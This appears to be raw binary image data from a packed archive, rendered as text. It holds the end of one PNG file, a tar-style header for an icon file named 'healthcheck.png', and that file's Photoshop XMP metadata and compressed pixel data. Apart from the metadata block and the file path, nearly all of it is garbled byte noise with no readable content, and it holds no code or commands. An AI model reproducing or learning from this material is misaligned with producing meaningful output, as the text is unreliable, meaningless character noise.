�#VJ��V�zQ�y�ot|����׺��~8���Z[>�F�{��3�|�ݻw���/��>ǾE�֣J,֢X+B@�B�G���;陦�����:u����qㅎ1b������{?���hoo��u	V�\����/��l�jTk?��~��j�<�bǻ���	�ìX���
0M�_�r�C��tӇߴ�?=�W�A�[֯�Zz������<��e�h4ʎ;x��(�J�2�u'2�gU�2�K
L!"�YG~��۶����u]���8t��m�����	���TUU�밳t:�������������J��s��k�P��BG��?�!��v�V��\0<��Y��{�5}�_},���Kz�L�/R�wc}}����F=�DkMuu5�����
�UN�:�b�"^�B�Sh�����lܸ1����
��2#ȕ�eY�Z��qn��F���Y��T��t}I��«�:�ѣG9u����E�D]׵_�񓷬^�ߍ��
��BW.\�cх�f���_S�T_�dXZg*�ڵ��Ǐ��'��)XTh�B+DS����\�
�܅^H?�H�p8��4�EZkq��8��P�4{�R�}��k�a�֭$	��N�#r�@V�@o�s�۷�U�V�l�2
�TjP�^�ѥ��
=��m^�|��P�ߖe�m{��H�P���vv��9��������JQ-�ba
1
�Z<ϣ��&�98�=z���G��vhh��"*�&�?���H�RI�#8?�7�هn���Աw��E*���o���mT�۶{�-[���������
�=���и�@9P]]͡C�H�R��j��GhZ��fm0?=J��BĀP��φ��ֲr�J�?�R��Z�����;0P;C�
�
��/h��Y�yގH$��>MA�d�=�?K����C�c�C���SO����ӧO��q��$�Y�LR�X,Ƒ#G8}�tP'c���C_�X�=ť�D
L1"�Y�pz{{y衇�'�P��ݵw`�6
��_��@�L���o�b�	�o���!������`"��Z�]Ww8x�UW�;�.�����?/�hvW���j	�xn��R)���ihh�F+L�a���ϩS�x�G��&Y.g�~�TfE`p��X+�B��)��?HI��;�i�4�ij��b
7�\�`\�`
���HZ�|�J��=w���x�C�Z��O��B�˩�P̎��������ZE���+VD�/_��FZZZ�vC��p����֠���r�ܱc��wH$X�5)Y��\"�`߾}���?�0���oMB8�9(n�۴0
ȯL�x
-������r�5�p�
7p�u�9o���u��ݖa��R/#^��R�s�����^�8���z?֫�9�ٛߧP��ړ���c�?�_
�p��9�t�,�uU"�1�~��e����	�#�ˁ�)�>v��Q�����L&��
�p���$�I�o�>b�X}�_@h�2��7=8�
�u�D L�L �ZB�]]]lڴ�W��U��ر57�����S��
�}�����L��':m?��E����m�k��)�RAa�����_����Q����'��Hp��1>��O���'>񉲿k
�ѝ��<���#��Wuh����Y���&L"�YM�L��4&�N��|�5ץO��M$�R"���%/�<O
�H�R)n��f~��_r��	N����#�hP'�m+0>}��Z�D���
l����3���|�;�ȵ��Aoo/��훴�>Lx)��У��
���Dӄ���)5H�����
�?�8�]w]v�yx�zp:�Έ`�`���0����*����A�P�I�^
]�ɒ�$_���QJq�W�Hm�H�uټy3J��F�"�Fs�!�"��u�u��m��
B�3��j0���d�2�-�3�\�8�<fV���@du�u.�u��W�wL�Y��7��2��\��T��>�,�_=�p���:�q��ߏ�8�&�f
�|�0�����oh�M�+
L#"�9�aTWWgk�޽����
DmZl(6�U��N<�#��t�Ҭ�}
��"��裏r������݊���ܗ�֍
����:Я����t:��͛�Z�s�N�&(�$�l�g�
�Y�%I��iFĀP���AXa0Px�G2���A*��*10�b
�wѢE�b1���8u��p��'�R����B7xx�k�(Է�d)���m��r�
d���w4¿�fR����6X#��4#b@�x�e
TJ�>uuu\q�#*�[��7]L�
�!x�H�h4Jss3���$	�?N8.jK�����E��}}��e�Q?o�7�Y6�$��_�)�\27���rc���	O�'�`�	*.]����!�Ѩ�okQ�E.*dN�S�T�s݅�M�i�F�a��H$�a�]�%�F�F���a\��رcD��έ׾��˕�ˣ�o.��(���Z�����3�BgN�J�g�����~�2y�6+A�bD��uill��.���p����}�9z�Si��yB�XI�Ź��&�Rǚ���^��K��M_k���V�����ꏯ\��{�t���b����.�P�ӧOO�����Z�	�U����	��u����MW�A}�0��b΂o��ڠq:-�DO��m�0H��l߾�����nӮ�p�3�9+�	fW"���{>�������swӡ�!��^)�
����_C�s	���A��{5���~���;���-�(��KK5����d��	3��a��ؼysv�"�}̀�A���~�ωn���;��L�`�&�벳���ܶ�\��/�.�8N��TWW


dEA	�v����ow�>T���/��o���=��:�0U9(��A��~��cUϾ��d�a�1
�Z|ߧ���+V��}���U��	��Nɖ*�S�ɚ����U�
�@���n�\��H�P=��H���A���ijj"�N�L&"�Ng����w�@}����9!6��w��^����m�`���i�Yp�Rԝ'�7�G�����˘,!
T"���T�^(b���������~@�ܵi�ɓ��NDkmȭvzрV�_hY�ūV}�m���ί���Z300�m�ttt�����6B�'O�����t:M*�*v��*�v�V_8�>�.�6
����y�
��8��4l%�Sp��0��6Q�~����P7�p�Q�W�/�,D�6����E�U��,d�{��S+
��0�+O��o��Ʀ���:�s�q������;�1�N��y����Zw��-��Q�Yc�	��p(�W���e˖��Dҹ���Q"�@k���!4
�pj�}�p8L8��)p]�`���~�砾���FW�g�RP��}��3�)^а��0,v����0(�(�Ż0���y��dMJ4�U�`ދن���0�B��ض=���)�5_��|�W6K����AB�}��a�fV���<���Z��������DA�n��
kQ�q�2^
[a!!:��v����;2�@!І�v��"y�*��!T<�����a000�#�<B($ڶ	Ā��}�v>�eYe��|�Ƕm��(�wk֬!
��>����J%"��ӎA&��F_���	�*�{
��`�9��]��F�,������۳ɇ&���2M���;�5;v��ILF��:��t���˃)�+2��X�F�Lމ!����Gf�YA���0��$<�4Z4�TBd�X��aN�<ɖ-[8u��Hd��5�=�\6l�@8.���n�=ݰa9�_���'̀T7a�5B<N��f	23
�
�ɈD�E����d�իW�n�:�y��/_���iͣ���TtF�����ϥ�ڶ=-�%�EX�n���D8p����T>p�
���F�ۃ�������}3p%��x5+PXd�a�07�œ����`�|�Y�j�l��ɢ�"�N300�5�\�-��B?{�d����}U��ZO�FP&Yk����I$,Y����nv�ڥɄ
�3�[����֡�}�mh���=m�u(�@�X�b=��(ZPT����<a�!b@�xƓ9/��N�M(�H&���qn��V�?�|B��X,[�II���BD",ˢ���x<NKK��m�6~��=���b�Bx�Ў:
�"Z�� �2D�xv�0ؿ?�tzV
��x�d2�����ŋijj����t:��8"�
��a�&�X���L��ŋ�r�J���~�e��r��N���9����oN���A"�Hv@�-�`hh�u�뮻��b�\����Zl�&�L���4_yUJ�	�B�3P�܅���?���X6�'hg�&�H���
����l�2^���+�SA(�����`�644���S�
�����;�}�.��X,F*��fU���tW6���3��&�vC��<���H�T�:���D�@&�q\���s��q�R�۷�T*�i�d���y$�L�B�t=��EĀ0'�Z��hjj���7�TXi��O(ⵯ}-W\qJ)R�����D"���I��ҷ^�=�.�K��Q�/��%�YŎ_��c��׾B��R�=�4�b�_��������E�ѝ�e
��=��s�e��F����H$��e��Ғ-�dY��a�"b@�x&:Px�GUUZk���*N%�[ZZ������O$��ܷ����b<�:���P�`[9�-�2(v�`{w2�N&W�ӽ�Ųn_YS{�v����Z��A�D"�����p�`�)�B�����aN�.���(�����u݊Zk,�b�ҥ477�u�ֲ����P���K
�1
�����5�ܵ��_�z~9��J��շ�=��=V��]�m��l{9�]�oX��o<�;�����=��j�u_�N��C�P��<e۶
��J�	�a��*�bH�����!���A�.���\x���q���D���@㱎������r��s�{_j�Y�����w2�CƧdcK뱥K�~�O��&IRJ�S�v��H|($.�Zs�a�+"�9�����@���	���b,\�0�V.Zk�����Mk��ˇ�q���a_G��܋��7O���c��eC��]����ӊtH�Қ����6~D)�
�FԹƱ6�
㴴Ƙ@�BA�
��
�AP8g:����8˗/��n���g�B'
��74������M�;/Iz���$�@	�ք������+W>y�y��M�R@��Bn�D��V�'M-���EĀ0��</e���3����B�L����	��<�t:�9��`/�AW�(_��J\�*�%�N�N�������_29
�EDO�i`��ȇ ���6n�\��I�Sh
=�7���Os�W�8Μ*�,����K)�R��^=�Z��#��d�܁�9K���R��:︎��b��W�S�i���qz�!,��n��4	R�qX�z5���$����K���c	�R��P�C.A�`������f<�˶	�B8�3ޯ,s
��B�3�d *�0p�M�6�_�
�gd�b����֚�ロ{��Ɗ���(�p��'OR[[�u*�����J����R�͛7�8W_}5����p�J"H�\__���6�!�̪j���4�08[l��@ĀP�LFha�w&iy��`-;���y\���/fѢE�R��`�IS�����v�m��i"��px�G8��B�F�4	�B:�3�L����{�e�w�u=��DB��y��a�3^o��$Aj�;v�}�v֮]��ի��g�d2ɲe˸�ۨ�������a���=��_�󾔽4NQ�Bn���r\�K�/������M����v�����="�9�l���a��q�a߾}����p�B֯_�m�
K�(�����L[[���ض=�M8�1}�����i��k~(>��6?ݴ�7��q�
π
�gDO���A�T���0�D"��q���H&��J��m;;M���R,_9�r�!w�y���K:�.8x������1����R�A�5�mo�!�i���,ψ
�3"�Y�XO���\����eY$�I:�R�P(��O0�b@)E4�u�la�B���}�a���ah��}ψD":�MP(��
�'DO�<�n�g����	f
���*TNQ�RE������Yg����K8�����U��Y	e�o8k�KW��Ԇ8r���
�-"����
���y�
@s�qH�Rٌ�k֬	R#
���,ٷ��D��4�j0�p8�\W�Bz��?I���ٖ�A�
œ������0===;v�����ҥK�L���u��Q]�`�ѣ�Q�a�r��U�0hSn5�"�1�

�p[��x<�B!|ߧ���u'~aa
b@�x��o�o!0�i����q�͛7
�0M�5.��:���`=�����d�&�>}�5/���������a����}�n��K��i�0b������O�>�^{-�D"mP�1/`/��?��,�K��o�y����J����>|�0���!�J�F��Jj
�Bœ?P���jhhP�����O*���3�R
˲x�駁��a��c�P�[��m����0�?�_t*k,�߶m�;��;��i�D�Q�R�]@�()_,�a�qJ�h�)f�p�u����/��B��
����pn^�R�r�jS�{�R�
ăi��J�r饗��--�
ib�߯.#<iWK*�*���t^]�gN_��g����˞7�<O�ׄ��<oY����{<>d��(����(�=S�	”"b@�hnmY��z�N&Gl��m��x���Um>788�Gf�K����i(|��?��Gv
�7;����K\qP�."���f�=���䈩���O�:;����Kn#�>N(��F�/)�P�����'Oόa�0
�*��Nu�[�����D�v�>����l�p�(��E�,����=����qQ��@(T4!���]=��Y���r��$��0��,���6>�h	���Δi�0-�*+��{���5�y%�`9��r�����h�����?��vf�BA�Zd�@����d��5
<X_���Lij�%��p&�&I:������qKo?�t���6O�U(U�,e�{��S+��
�A4uLh��&ٜA�	Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9��6��D��HA�"��`-kAA��̥e{�
A�s�)r.���@j��A�
�fڀ�b.���c��A�
O�\�3��
��3m�d1��W���6BA��#�δ��\��Gg�AaN��6b2�kb�;�?ʹ�
œ�(�f�Ь�M1�1�/f�AaN�p5px��t��p��CA��%�y%pl�m��֯��UJ�j�#s1��)�lr9�t��Af=�3@z�
�C@;���?�1�JF}h�L+AA���o	t��K�
�;"Aa.�C&��;�K��>p/"Aa���7�������4&��0<�a;��R2�F��E�W��(,6�!�ia6��o)�04���
����^H<�23v	�0	�C�z`���_ϴ�
�0pk��l�1�A8S�x�LQO�Y6a�4߁�3b�
��̴e�o3m�
Yޜ/n�3A�,~=��ɜ)�*s�����3b�
��7���3�����|1 9av�a�
(��g�A�T勁J
Ca��o�
(�ߜiA��拁�3a�
��oQ����^7�F���p�xy&�aR�	����Is��3m�
#x9?��d��0��O&�X��&S��6`��"�hޜ/B��?�
� ����	\�3`� �
��'�X��AA��x=/a\<\:ݖ	�
�0����_&�n��i2JA�����(.n�z�C�ɩ�KA�)�$�1���(�L�Oxp'���m
� ��Q����T�F劁BԜ�q� �
L-e�!AA���Aa
b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9"Aa�#b@A�9�?99_P���IEND�B`�assets/images/icons/healthcheck.png000064400000045070151165724360013417
0ustar00�PNG


IHDR,^ɰ)	pHYs��4iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T13:15:36+04:30"
xmp:ModifyDate="2021-04-19T13:15:36+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:a618f008-fb1e-f940-926d-e5c546ba5c47"
xmpMM:DocumentID="adobe:docid:photoshop:0684fe77-fa2d-f245-8976-43195fef7136"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:0a08da0a-0238-3a45-869a-ab0e10159bc4"
stEvt:when="2021-03-08T10:55:36+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:4c045363-36aa-ec44-a4b8-876a0d71f1c3"
stEvt:when="2021-04-19T13:15:36+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:a618f008-fb1e-f940-926d-e5c546ba5c47"
stEvt:when="2021-04-19T13:15:36+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:4c045363-36aa-ec44-a4b8-876a0d71f1c3"
stRef:documentID="adobe:docid:photoshop:01510cba-fcf3-f64a-ae11-4fb8b31bd295"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>CFA362BB11171337145FCCDA5C8AF577</rdf:li>
<rdf:li>FF55843D0295CF3D0D2A8105B44CB139</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>٬�=�IDATx���y�[u����'���R�V�Pک
�D@��.,**يr���W(*��]\(�}Cp�^pm�Pe_[@��Z(�R�M:�����$����$9Y��ǣi���33�9��]>_s�!"""�+w"""/%"""mNɀ��H�S2
""������9%"""mNɀ��H�S2
""������9%"""mNɀ��H�S2
""������9%"""mNɀ��H����Y�q��("?���H�޸���\��'�v�'"""�Y�\��O�9篴V��q"""Mo9p
p{܁Ԃs�%��	���q"""-c=ppy܁T[+&�KQ"
""���ʸ���VL~|0� DD�e�
LV�G�8�Zjj�(��|1�
�������@DD��\`�����VJ�;i������Z%��w""�6��;�jj�d`|���H[�4���U��z�;�jR2
""������9%"""m��W-��+t�1-Q�QDD��5c�w�S2P����+EDDڜ��6�d@DD��)is@("�^~���^������Dc�����{�;p0-��Z�9�k�uS��ɯ��&�Z("��/�'p�G��R{���GPC�<�9�g��[Xj#���fCy�ßZ�}���<��8��M
"�®�=h"��w���:�!�f���M\z.��	��Oh�Eɀ�HkZ|�NW��~x?��VA
�z�(\zY��p�����)Kɀ�H�q�gq�Cfz5�G4t_����\�>#���d@D���?Xp�.�0H/����Kc�n4�F9*""��\:7�g��kX��`��5��(`+``��,�0���������?�g<�K?��~|l1�%""��*�Ɨ��q�U}�T�?p4p"�I��y'�S|�������|�C��Y��hJDDZ�K#~����z�[�[������^��ƥ����w1��V��i3
"�z���;��?q���se�X
�K�b�D���u|�����2����x�z���H�;W߄q"	ƫ�U�e���<�G��[a�1ء=��ՏK�K݉�t�_p�q�8�ҷ��=����8��I��ᏽ*uY�&A��1�;��jX��3r�‘���U�7::��6�;��F��R��L\�,����K"`�$0�����T��#nW�X@��(`��V
�:�h�-@.�W�-���$��G�=��+�x�������`oL�h���g}��I`�����(\����:�XL|-`���"*�
W9b_�X�J��/�q=9�)9�tcW���ʌsF�^f��D�s;���>g+sI0cɶm��ז9�o�]���T��%`�
�|���˽��8����RxN�s=��J�o��`\�պ���f��T3�?K��^��J��)h}��r�ϙ�$li�Y���9W~�S��٤��y���}�h�n��������2	�$�
����O���f6g6���V�>~	�'���ߕ�[�Ě�-��5�`6.���
�%��+�\ɀ��<%��Jr��\Q0	��#�p_vέ�#�01H��=���hl$SZ�s����Z��[����]�{�^1u���;�4A�K���A��8.}ϰ_�R;��q�'J�?P��t�X�M��;^�����:���g�M���
�iJ��)hM7�cAIw�$l�Jߴ�(���TW�$Ӄ8���+��[rEI�d����]蜻+��0������v��%�<�nޤ�u����p�rS���4�|�����w�����_��؈�Q�xxX	��~=�$~�æ�v7�T�����{�8xsEϋP2�d
O�@ky4���l��FMJ�K
�	D���@��
1�&����ι�1��/3�ݍ]m�9��Hr`s�/>�K_2�V��?#`\?[���x�
��������8��E�,�3�p�8�aQ2��ݻ�����M6��γ{\nz�'ιE=.78x��r̦��Ȳj��u���e��D��\sV��IC&ι�+��bN3W�c:��*N>��~p�,5���^"�	L�|"�n�`
�`�2�D@
�H�1����&p�J���M1�6d��`v�����C����0t-9�B�6YP*��G��,���M�����+�9�Q\N�P�h
��:�v�d@���8>A����ƒ�+�}�97�AI1s�ݴ7g�ʯ�1�^��	��8N��c��<�ْ�Rι��>��
�[	��,��oQ��
W3�e��:����ρk��C�U��
|1J!%�Ԗ⸈,�
����;���S�9��s�f��J/�M��
vf�8h
�Ap��:v��od�᜻k�˽����:rLo���	��U�m��&~��x.���H
1N�m*�&MuV8l{�Z�DZ��������:�P�1Ւs�f3ۧ��w�Edy�0Er�4o�q�{㊧��sK���p�����I�`B�-P�ĔG��������+.�X٭,up>�?鼻�m�^�!%�2
Mi19�W�Lw-��"g��\A������zA�D`�s�%�Pd\�q���x��ZkJT�x�U@i��W��p�Cq���&��K��g�ǘ4�{a0�<���e@�NX?
2MmVП�6�s��[���$�`C���q~-覙�-���S�s�6�����!K6h��ژ-o�R;��d��SX��R�
�$��t�X<�O���ص���w9�d��:��x�J��,	>�D`�s��C��s�~3��-�T��`y���e���{��UҴ�r�s��T`y���$�F�
9
8�?�>�\|mH�]��`��s���O��}g�{��U�h����~f�w;��d@�&��qGp��f��@��ZDf��G��\]�.�qYq"0�9ז�@(覚pY�x�1��T���)�Z�����R�R�u���9\����&~�K߅K���Pj�
��,5س�xdPJ�)���Յ���f�P��(!���G��ł��bZ;�ר�sn90����Q#�NgԖ�
�@p�M�������;�t�趥Fc�r��,s����nW��i
���Žu_���U��H��_�`Y�AB�
�o9��%$FS�D��5fB�=,�Y�����~����Xjt�W���X�|,uD��K}?K�Xꌢ�}���2�:�rg��:�Y6%��n$�W�Lu��g<�*;1|A�d��L�
R���XV�7hι�:���m��Do�U�聼��Lj.JG�[�-X�
�!��7˜���7~=�����J�)׺�.�R�Y���&4ހ�f�d@��*^���c�~�a5���&ǹʼn���8�
\_b9no���R��7-r}5�D���r�a|������;��t�@_�(���H�������{H)����L4ԃ�B|�4��D��W����8�W8�D�2+q�W*�~��EAq��&��w�,�U��8�[��Uz_g���w�_��_1$%Ұ�T�t��sM���^nAB��������Ji�zV���g�X�x��ԅ���z=��
�_I�G�m*m*Y���.�Q2 
��
�X�n�����0���f�Vg�R9��퓱��ޘ+�����J��
�@�Q��=���Ÿ�iUJ�!E@�p�J�
�M9��J[g�^��G4�j��U��������Nz0)��J���.�w��*�ReJ��\O��
���s��O3���6Y!!X)3�M�3�$Q��
�u8��.�M|%��m��Qys~�*��1���EӢ�HCy�y���Ɩ:�n�7���[���
��e��/C윻��Q�>�����p�F8�]�K�1˥�|�d�i�?�[.�8'�PZ��i(����]0��R��wym���r]��J����C���������p��?��ץm]��ڔH�x�+8k
�F�e����M���o�pv�br���;��Rι�a�;pT�`���K�-s�c�]<���ܷ��v�3e�)]ٰ\�������2��0���4����Z�t����ȕ]��ȷtcKW�\߳2����ȱ;Y>_v
~M���Ϊ]z��ػ���R��g�ءd�0K��l3����R��6������.}/��
���6R1%�0
��F��9�kf��א�W�xIB�n��s�-��ҕ��glޯp遦^|أ�c��L��_U�Ń<~�w�%U�niW�S�@8�n
���\Q3�2����.��	�_��u�K�|�>���5���`��b�B�S2

�w��뷨����Ħn��q�-
��?�7x
_�o0Sj� :�]�y"�
%��p\�<s8-/:���p��J؍ݠ���^��|RvG����@�O�D
8�����!%��j�_`S���tr�B]���z�¥�����?���lc�_�%(�؅�)A?��X�iιEa�?q�(h"�OY��9��U�X�h\�o0��u
����(`�Z��H�n�E���A�����Q}E���g�h��(��m~��g5f`����H�����؟�4n}��n_��~졅��+H����Qk3�¯��ڇү��ҏV�݇��Z�Tg@b�z�����C��㎣���`V�D_�=�/7\ٔQ��	���L��|��I�E����g��<��
.��
_�%��S��՛Z�9�G��5��)��Z��
�l�1(u�(�]�J��`�q����Hݙ�;�v��N����h5����tm�m�C�	��\����[oįʸ����8����</��\��!Ɨފ_u��xkq�-[QyP�N��sN�(�˧�r)Y&a�X�;�9Wɔ'��3��ۃ{�I$�aul�>�K���/:$�:X\�K_T�/���J�d�'3
�y�0�z�is��_»���7�D����k���7��2DJ$6��R�J[s%�W��q���}�!����g�K�[��u��Pn�c�v��E�>��2�pDb�b��:�
VR�bA�a������8�Կ}|DS2 �X��&b?�8�
�pDbL1�ȯ9B����j�АY�7��Kp�޻))�X�D09�HD������?W�e��R�.
n%�+�ԹX������u}�&�d@bi��/
�Ƒ��UZ����L�,�9����G:��7`�Iu��jyU{P2
��р)�F��P%g��K}���[��K����G[e�{U
��{�B=|���F�1���+p�u�X�c��j�Lc���`�1����y�
�[��_fx�
_op!�),�[|
���ņ���u���K�a��k͂!P2
u���)-�+�=��59>=���?��}u���7�i|�_6ed-�����~?�x,�n�-��&o��ۊ�	���Zﺱ_i�\�9�����ގ�,5e�?��R���]�6����ލ��fo����FW[Q2
u�b�����Ui'c�w��P
�Ұ�i�M��Gˆl��*	�C�����d@�.�:���".躭R���A��Yʀ����	aD>���5�gY�$���ڔH݅#�>"�@u�y�R_�R�O��8|��W��G$��SPyB`����jQ��X�N�
E�ƀ��`�����}�H퀥���Ψ7~��.�R��VXj7,��J�jq�&����Ko7��g���'�^o>gP�
\�	�\<��n��Ow����7�$�I�#X�z�!�|�〷�F�aP2
"�
,*�oz�og�G$#�-~�`3|0�
Z��ij�9���G�b�.�m�)��}B�!�#s��$�,ɠY�1�
<s��]��e}�s���X&o�1�
���*
2(�������sH0
?|��71���mʶc��jc6d�H�Q2
"���_����qJ��[�&�S"
�Iɀ��g��bL�S�p�q��Q��f��UqŸH�Q2
"�y��0ƕ,��
�GS:D�����[b}Z6���Ԏ���X�U_JO�5
I��(��L��g1ݍ���Ԑ����t'u�ח-�9h̀HQ2
"�l^�K&f��#"MO_b)gsa�)s�B-"�Dɀ����/��e�@ɀH+Q2
ug%�KC�
/:�<�+]"N��U��%Rw�΁J�5�-‹�eM�Q�@�lMݔ�S2
u��o��5�a�.󠲸�y`������d@�n�‰�sq�!�|)�r�T��u��vүT�Lɀ������>3�?�p�DPc��N|��r���Z��`8�i�y�i�,u�O���ё��dl~|�H?&�cb?g�c�m7�-����ؑ�;�e@�Lɀ�]��
���F�Ix1��
R]�p\b�R2
����6|2�_7�+\�x�*0���H<�H,‰��b
D��
���6�k�D����Yb�d@b15��bf{��^��V��48���:3;q%��k�,1ЧNb1/�(n7vA��H_{l�
x���n�Ӎ��%#0	;	�X�]�2
1�Xb1��
B��'�32��I`�A�]_�p�I�C��h���&�yoA	Vic‹	����W�H��̦3&�w*1Q"*�ٯP|h��͉9�F���2�i�y��uઊn��<�%&��Il��wLR�F�yx�u�`�0��eMdB�R���`.	��Hl�Hl:Q���Ux1)rg��pE-*.0rf��ktlw0�֔H�v,t�u
��ŠZV�X�9
�yT�6اW��6"����j��)hHF��a���G�����"�C�c#%�n���)�Z�
~�A��=8��%�و��@���ٜ܁�Y?%�}��
4�
&ѥ�KWZ܏���}�0-V4�٣Ih��N�@��f4�MË�K�T��/L���B���R���F'h�b���I�FS�H�:3�p�����Fc~~a��%F�1��ͮ:��2���,�Aij���W��Ό9���F�sF�t#�k��~��":߽�K@x-�q0��]t&������3�*

@-��^K�-�#�o�S��E��~��:�N!l^l9@�ŷg�"�F�@��P0.�@��u>&
B�Di�
>��@�كl�R��/��S0�#�i$�u��kd�)�.�}��6��q���K��){U8x�v��
�I��q<��4�n�˜é#�p���wHrI.��sH��ɧ�	�ڇ�O+�8rg�\0���A;2jP��0�9+��{�{@��i(���4Ë�`�JJ":��Z`dF'��8���嗕\�/>~�1���Z��*��j�4%�P�m���I�%�=K›R(��P�P�E�!*Zlhe$1ض�v�
�����U����iJ�������1v�3�س��8c���cj����v��$<�(Z��
�Ds)#��Vi@J���#�Nc:‹���t{��=����:`��4�x�re�J)3��>���H�����p��;Lȏ�g<5����h�@�D�6'ײe9?�`L�NGqk@�*���L��c#�dE�>�Ґ�����9�����bd�`d>dd��߸�M��lV��Xt@ߔ�G���&��X��%
�(qh��O=���W�fZ�@�>�Ұ��
܌qpv��T���7�3��W�̂���醟�Wn��Xt��jt0[a{���;W�x:�6Ѓ�0`�¦��2�9�|����J��'S�L�|D����0�08�0�	�a���z>��o����u��M��|�DԳ�����)�.�Y!�>]F&ad&�iFfl���@S	�Y(���LS
�g�Ǒ�'tp
	�dV�v`�)�d�t�`��X��A5w�P�t�g���E�
a��=�L��
H���������ϫ{#3�}©�Ǔ��di8J����⩆3c
h`���#$I�һ1,N�l?�_؀K�N�����A�錦o��%W��x�vų&Cqr1	cjq2��*�ސ�V�;>B������O�4�y$�	���l�8�)'z�����g�����Mx=r{��nwՃ��ъ�d�����RRt��0
�W��t��N.�#���/�4uH�Q2

���Q���_���?���j��g��.9��?�b7���{�����(�:`}a���*hE�`
�S��$�M㧓`����kU���فa��<��iJ�)�$�%��*܉f6#��S����7�K��/
3	��'�o���6��12���#�.�������'��ƞ�h�a�`)�qX�5����b'��lA��[�'s���&�O�4�y$y_�#����3��dxq2ɲ�����Q����N��y��t�u����]���M��9��IO��?�G�	�>��
�WrF|`�Ŗ�]`fcTrX���ic�hۍ]_4E_��\�@h�ȸ`��	��f/��"�`d��[^*�Ȥ��Ff��9��DO�+u2�X��L���^n�+"qu������	.�,y��H�ya�͆gCg�D�4{@���i*30n���nf���i$1`��ݱ��=�E�x~��+8�9�n��C'S��\��)-n4�h�f%��D���^$�#3��
HT�.~�Cd��y����lϰ��wI2[�Vi2��J�y'	�*�,��!o�W,Ffg�-�S#_����s����)��?��倇q��?+�d�n���D#�p;��\@�㋋�hd*Y�
���]r�^�#��ѵ�H]��
�83�c��b<�������8Y�Ҥ�HS�Y����qjL��p$��iy���,�л���
0
�:���o����c��{��:�$�O����t���<hd�Z�^���L�����0
��B����D�,^����3���b�c�D@;UiF��JS�	+�n؍�_����)��#g�����xXSrv��;���v��$X�iIx
W�??�x���]0�l
�H����p����)X+�?�d
:va}�p��'��+*I\2��M��쎱M᱋��)D?w�H���	H��;��I�?���҃;�ݷ�
x?7��,��:zT6�	n6�?<�u���N�;�u�;]�Y����DtO�"8��������߆1�Ӱ���3	B+q܏��6�c'�q�.��]�|�	Z��q1Y^���N���7��7�xS䵞��B,��_��`~瑄>7�]°���o�8��|���[������;���W��^I�ߡ���nC���Mד��[���"�uP����E�K�]�������=��	p'��D@���iZ؃`�����#������$r
],�1;8PLƘ��0��¼{���}�_�p��C8�7
�GG�Ls9�1>C��1�&�������>�����g
?�����%A~m�,�����O������}���8���ɻw�P��]�֝^��P�-E��iZl|������|�`w,�,�J������_�Y
$0Ҹ�f��I�]��p���%����c���v߄�'`��L�,~�`�a`���#E8c7:�j�瀫��0��$�_��wq
ƕ��х?h����Y�
X�=E�?���N���`</�p�h��
G�[Y<��%��e<4�~�z���؅�T~=.�,-�~�@'Fo��^;�n"x.���k�M�ݰ�;S%�,�H����،��n?"�u�����λ��}��J��[�q{����S�%Gtx�^���i���^��B�r/�A2����?4�1�s;���e=p'�o�,��	�<�E�K��6v�p�1O��XU2f`
F
H����"�_Z��cW�[��	�gd.'��y�:xc�{r%�F����K_��cC��K��H��)���
